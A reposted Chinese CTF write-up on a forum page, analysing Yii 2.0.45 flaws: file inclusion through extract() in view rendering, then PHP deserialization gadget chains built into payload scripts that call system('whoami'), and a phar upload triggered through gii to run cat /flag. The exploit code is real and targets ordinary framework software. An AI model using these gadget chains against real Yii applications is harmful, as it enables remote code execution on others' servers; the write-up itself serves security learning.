<acronym id="s8ci2"><small id="s8ci2"></small></acronym>
<rt id="s8ci2"></rt><rt id="s8ci2"><optgroup id="s8ci2"></optgroup></rt>
<acronym id="s8ci2"></acronym>
<acronym id="s8ci2"><center id="s8ci2"></center></acronym>
0
  • 聊天消息
  • 系統消息
  • 評論與回復
登錄后你可以
  • 下載海量資料
  • 學習在線課程
  • 觀看技術視頻
  • 寫文章/發帖/加入社區
會員中心
創作中心

完善資料讓更多小伙伴認識你,還能領取20積分哦,立即完善>

3天內不再提示

聊聊PHP的web應用程序開發框架存在的漏洞有哪些

jf_vLt34KHi ? 來源:Tide安全團隊 ? 作者:天下兵馬大都督 ? 2022-11-16 10:37 ? 次閱讀

概述

簡單說下Yii 是一個高性能PHP的web 應用程序開發框架。通過一個簡單的命令行工具 yiic 可以快速創建一個 web 應用程序的代碼框架,開發者可以在生成的代碼框架基礎上添加業務邏輯,以快速完成應用程序的開發。

小伙伴ctf比賽時,遇見了這個框架,把題型發來,既然是代碼審計,這個附件應該就是源碼,把這個下載下來,看看里面有啥吧。

下面附兩張圖:

3ab96eec-64cb-11ed-8abf-dac502259ad0.png

3af6954c-64cb-11ed-8abf-dac502259ad0.png

接下來就聊聊這個框架存在的漏洞有哪些,稍稍做個總結。

文件包含

3b1247d8-64cb-11ed-8abf-dac502259ad0.png

當小白看到文件上傳的功能時,而且沒有限制文件類型的邏輯,便想到了這個框架可能存在文件包含的漏洞,因為上傳的路徑是/tmp的路徑,不在web目錄下。

如果想利用必須要通過文件包含、或者目錄穿越的漏洞。

從過源代碼的分析,文件目錄是這么定義的。

if(Yii::$app->request->isPost){
$model->file=UploadedFile::getInstance($model,'file');

if($model->file&&$model->validate()){
$path='/tmp/'.$model->file->baseName.'.'.$model->file->extension;
$model->file->saveAs($path);
return$path;
}else{
returnjson_encode($model->errors);
}
}

當baseName和extension不能通過改變請求包控制時,所以文件穿越不存在,只能文件包含了,隨百度之。在源代碼里有這么一段代碼:

publicfunctionrenderPhpFile($_file_,$_params_=[])
{
$_obInitialLevel_=ob_get_level();
ob_start();
ob_implicit_flush(false);
extract($_params_,EXTR_OVERWRITE);
try{
require$_file_;

extract是將數組解析成變量的一個函數,通過構建_file_的變量值,來包含tmp下的文件,這是小白當時做題時的思路。

構建方式是在控制器里有一個接受外界參數的變量,如下所示data

publicfunctionactionIndex()
{
$data=[['a'=>'b'],'_file_'=>'/etc/passwd','name'=>'14yn3'];
return$this->render('index',$data);
}

訪問后的結果如下:

3b213626-64cb-11ed-8abf-dac502259ad0.png

證明確實存在,小白按照代碼的規則進行項目的整體查閱,只找到類似這種結構的代碼段

$model->password='';
return$this->render('login',[
'model'=>$model,
]);

這種model的參數,構建不出來file變量名,而且這是一個對象的形式。

后來想破壞對象的結構,構建數組,花費一個多小時無果,尋找另外個入口。至此證明yii存在變量覆蓋,文件包含的漏洞。

gii 出場【phar反序列化】

當所有代碼段都不滿足構建條件的時候,便有了這個gii哥們的想法,它是一個自動給開發者構建模塊、數據、控制器簡單邏輯的工具,或者說腳手架,驗證開啟方式:全局搜索gii.

3bae2c02-64cb-11ed-8abf-dac502259ad0.png

訪問方式:r=gii,如下圖所示:

3cca223a-64cb-11ed-8abf-dac502259ad0.png

然后構建我們自己的控制器,點擊控制器生成下的start。在表單里隨便填下控制器名稱,點擊預覽,

3d516eb6-64cb-11ed-8abf-dac502259ad0.png

生的的代碼如下:

3d6a2794-64cb-11ed-8abf-dac502259ad0.png

看到并沒有把render的第二個參數給傳遞過去,至此文件包含的思路徹底放棄。既然都聊到這了,那就索性看這個gii有什么漏洞,谷歌百度一下,

yii反序列化【payload是自己構建、不同于找已存在漏洞】

查一下現在系統的版本號:2.0.45 This is Yii version 2.0.45.

鏈一

vendor/yiisoft/yii2/db/BatchQueryResult.php

php
publicfunction__destruct()
{
//makesurecursorisclosed
$this->reset();
}

publicfunctionreset()
{
if($this->_dataReader!==null){
$this->_dataReader->close();
}
$this->_dataReader=null;
$this->_batch=null;
$this->_value=null;
$this->_key=null;
$this->trigger(self::EVENT_RESET);
}

所以這個$this->_dataReader是可控的,那么close方法,這里就有兩個思路,第一個是存在close方法,尋找利用點,第二個不存在,調用call方法的利用點,先看第二個的思路,找call方法,vendor/fakerphp/faker/src/Faker/Generator.php。

publicfunction__call($method,$attributes)
{
return$this->format($method,$attributes);
}

publicfunctionformat($format,$arguments=[])
{
returncall_user_func_array($this->getFormatter($format),$arguments);
}

publicfunctiongetFormatter($format)
{
if(isset($this->formatters[$format])){
return$this->formatters[$format];
}

這個類的$this->formatters也是可控的。當調用close的方法,便調用了call方法,此時close的方法名,便作為call的第一個參數被傳遞進來,也就是method是close。

此時構建payload【payload輸出有特殊字符,需要在console的控制臺復制】

namespaceyiidb{
classBatchQueryResult{
private$_dataReader;
publicfunction__construct($_dataReader){
$this->_dataReader=$_dataReader;
}
}
}
namespaceFaker{
classGenerator{
protected$formatters=[];
publicfunction__construct($formatters){
$this->formatters=$formatters;
}
}
}
namespace{
$a=newFakerGenerator(array('close'=>'phpinfo'));
$b=newyiidbBatchQueryResult($a);
print(serialize($b));
}

此時的payload在這個ctf給定的壓縮代碼里是不能執行的。因為這個版本大于2.0.37。到這里找一下為什么不能執行,查閱文檔得知。這兩個類都實現了wakeup的方法,

//BatchQueryResult.php【只要序列化這個類,就報錯】
publicfunction__wakeup()
{
thrownewBadMethodCallException('Cannotunserialize'.__CLASS__);
}

//Generator.php【只要序列化這個類,formatters的內容就置空】
publicfunction__wakeup()
{
$this->formatters=[];
}

當注釋掉這兩個方法的時候,就可以實現返回值了。注意目前調用的函數沒有傳遞參數,只能掉phpinfo這類的函數,輸出是字符串類型的。結果如下:

3d953c18-64cb-11ed-8abf-dac502259ad0.png

補充:正則匹配call_user_func($this->([a-zA-Z0-9]+), $this->([a-zA-Z0-9]+)。

鏈二

研究完了call的方法,現在看看close的方法。當全局搜索close方法的時候,找到vendoryiisoftyii2webDbSession.php。

publicfunctionclose()
{
if($this->getIsActive()){
//preparewriteCallbackfieldsbeforesessioncloses
$this->fields=$this->composeFields();
YII_DEBUG?session_write_close():@session_write_close();
}
}

/**
*@returnboolwhetherthesessionhasstarted
*開啟dug,在這個版本下,此函數驗證為true,小于2.0.38不需要開啟debug
*/
publicfunctiongetIsActive()
{
returnsession_status()===PHP_SESSION_ACTIVE;
}

protectedfunctioncomposeFields($id=null,$data=null)
{
$fields=$this->writeCallback?call_user_func($this->writeCallback,$this):[];
if($id!==null){
$fields['id']=$id;
}
if($data!==null){
$fields['data']=$data;
}
return$fields;
}

call_user_func方法如果$this->writeCallback為字符串,就是方法名,如果是數組,就是類名和方法。

所以為了解決給方法傳遞參數的缺陷,這里再去調用另一個類的方法,這個方法可以是可以傳遞參數進去的。使用鏈一的方法備注正則搜索。調用的文件代碼如下:

//vendor/yiisoft/yii2/rest/CreateAction.php
publicfunctionrun()
{
if($this->checkAccess){
call_user_func($this->checkAccess,$this->id);
}
//$this->checkAccess和$this->id都是我們可控的

構建payload

namespaceyiidb{
classBatchQueryResult{
private$_dataReader;
publicfunction__construct($_dataReader){
$this->_dataReader=$_dataReader;
}
}
}
namespaceFaker{
classGenerator{
protected$formatters=[];
publicfunction__construct($formatters){
$this->formatters=$formatters;
}
}
}

namespaceyiirest{
classCreateAction{
public$checkAccess;
public$id;
publicfunction__construct($checkAccess,$id){
$this->checkAccess=$checkAccess;
$this->id=$id;
}
}
}

namespaceyiiweb{
classDbSession{
public$writeCallback;
publicfunction__construct($writeCallback){
$this->writeCallback=$writeCallback;
}
}
}

namespace{
//$a=newFakerGenerator(array('close'=>'phpinfo'));
//$b=newyiidbBatchQueryResult($a);
//print(serialize($b));
$c=newyii
estCreateAction('system','whoami');
$b=newyiiwebDbSession(array($c,'run'));
$a=newyiidbBatchQueryResult($b);
print(serialize($a));
}

3dbce718-64cb-11ed-8abf-dac502259ad0.png

跳轉gii

通過前臺上傳功能,上傳

3decf7aa-64cb-11ed-8abf-dac502259ad0.png

這個文件,然后返回上傳路徑:

3e77484c-64cb-11ed-8abf-dac502259ad0.png

gii控制器生成頁抓取數據包

3e974a7a-64cb-11ed-8abf-dac502259ad0.png

在后面增加cmd=system('cat /flag'),因為在phar.jpg中有這個一個執行代碼

3ed0a87e-64cb-11ed-8abf-dac502259ad0.png

即可拿到flag。






審核編輯:劉清

聲明:本文內容及配圖由入駐作者撰寫或者入駐合作網站授權轉載。文章觀點僅代表作者本人,不代表電子發燒友網立場。文章及其配圖僅供工程師學習之用,如有內容侵權或者其他違規問題,請聯系本站處理。 舉報投訴
  • 控制器
    +關注

    關注

    112

    文章

    15392

    瀏覽量

    172672
  • PHP
    PHP
    +關注

    關注

    0

    文章

    452

    瀏覽量

    26493

原文標題:yii && gii ctf篇

文章出處:【微信號:Tide安全團隊,微信公眾號:Tide安全團隊】歡迎添加關注!文章轉載請注明出處。

收藏 人收藏

    評論

    相關推薦

    螞蟻防靜電商城招聘php程序

    1、熟練PHP+MYSQL網絡編程,大型網站編程維護經驗優先;2、獨立進行程序模塊開發能力;3、代碼書寫習慣良好,結構清晰,命名規范,邏
    發表于 12-28 16:14

    想做web開發,就學JavaScript嗎?

    的認可。接下來的一波應該被叫做jQuery革命,因為它和其它框架提供了開發強大web應用程序的易用特性。甚至微軟帶著WinJS框架也加入了;
    發表于 12-09 15:34

    五大Python Web框架詳解

    的數據庫驅動的應用,兼容 Google App Engine。4.TurboGearsTurboGears可以快速實現Web應用程序開發,富含豐富的特殊性能,可以解決更多的框架領域問題
    發表于 02-06 17:17

    Web框架使用哪些編程語言?

    實現js在服務器端的編譯,而且擁有更好的組織代碼,提升復用性,非常適合在分布式設備上運行數據密集型的實時應用。2. PHPPHP是Web架構開發常用語言,PHP開發了很多
    發表于 03-28 16:53

    主流web前端技術框架

    Web架構是為解決Web開發中開放性問題而設計的具有一定約束性的支撐結構,使用框架可以幫助快速實現Web
    發表于 03-28 16:56

    使用Eclipse WTP開發Java Web應用程序

    使用Eclipse WTP開發Java Web應用程序時,我們需要在計算機中安裝tomcat才能執行該應用程序。如果在項目上使用Maven,則可以使用tomcat插件運行嵌入式tomc
    發表于 12-16 07:00

    高性能PHP應用開發

    國外書籍,圖靈程序設計叢書。本書是一本廣受好評的PHP性能優化方面的圖書,通過介紹PHP的原理和相關工具集來實現調優性能的目的。它分析和研究了web
    發表于 03-31 10:14 ?2次下載

    PHP和MySQL Web開發(原書第四版) 武欣等譯_部分2

    本書將PHP開發與MySQL應用相結合,分別對PHP和MySQL做了深入淺出的分析,不僅介紹PHP和MySQL的一般概念,而且對PHP和My
    發表于 04-19 09:54 ?0次下載

    PHP和MySQL Web開發(原書第四版) 武欣等譯_部分1

    本書將PHP開發與MySQL應用相結合,分別對PHP和MySQL做了深入淺出的分析,不僅介紹PHP和MySQL的一般概念,而且對PHP和My
    發表于 04-19 09:54 ?0次下載

    基于Scrapy的爬蟲框架Web應用程序漏洞檢測方法

    不斷提高和完善防御的方法和手段。針對此問題,提出了一種基于Scrapy的爬蟲框架Web應用程序漏洞檢測方法。通過框架提供的便利條件對頁面進
    發表于 12-07 09:48 ?2次下載
    基于Scrapy的爬蟲<b class='flag-5'>框架</b>的<b class='flag-5'>Web</b><b class='flag-5'>應用程序</b><b class='flag-5'>漏洞</b>檢測方法

    C語言-Web應用程序

    。 1996年,Microsoft公司推出了功能強大的服務器端腳本編程環境ASP,2001年版本更新為ASP3.0。ASP.NET雖然是ASP3.0的延續,但它是一種完全不同的網頁開發手段。它建立在.NET平臺上,在基于公共語言運行庫(CLR)的編程框架的服務器上可以生成
    發表于 04-23 11:19 ?12次下載

    現在流行的Web APP開發框架有哪些

    Web APP框架開發旨在支持開發人員使用單一編程語言構建交互式應用程序。市場上推出了一系列框架
    的頭像 發表于 12-29 09:50 ?1.1w次閱讀

    使用Python和Flask開發一個Web程序

    Flask 是一個使用 Python 語言編寫的 Web 框架,它可以讓你高效的編寫 Web 程序。Web
    發表于 02-28 08:00 ?0次下載

    php的適用范圍

    PHP是一種通用的腳本語言,特別適用于Web開發。它可以用來開發動態網頁、網站和Web應用程序。
    的頭像 發表于 12-04 15:54 ?288次閱讀

    web前端開發和前端開發的區別

    、CSS和JavaScript等技術來構建用戶界面,實現用戶與應用程序的交互。Web前端開發包括網頁設計、網頁編碼、前端框架使用以及優化頁面性能等任務。 前端
    的頭像 發表于 01-18 09:54 ?1187次閱讀
    亚洲欧美日韩精品久久_久久精品AⅤ无码中文_日本中文字幕有码在线播放_亚洲视频高清不卡在线观看
    <acronym id="s8ci2"><small id="s8ci2"></small></acronym>
    <rt id="s8ci2"></rt><rt id="s8ci2"><optgroup id="s8ci2"></optgroup></rt>
    <acronym id="s8ci2"></acronym>
    <acronym id="s8ci2"><center id="s8ci2"></center></acronym>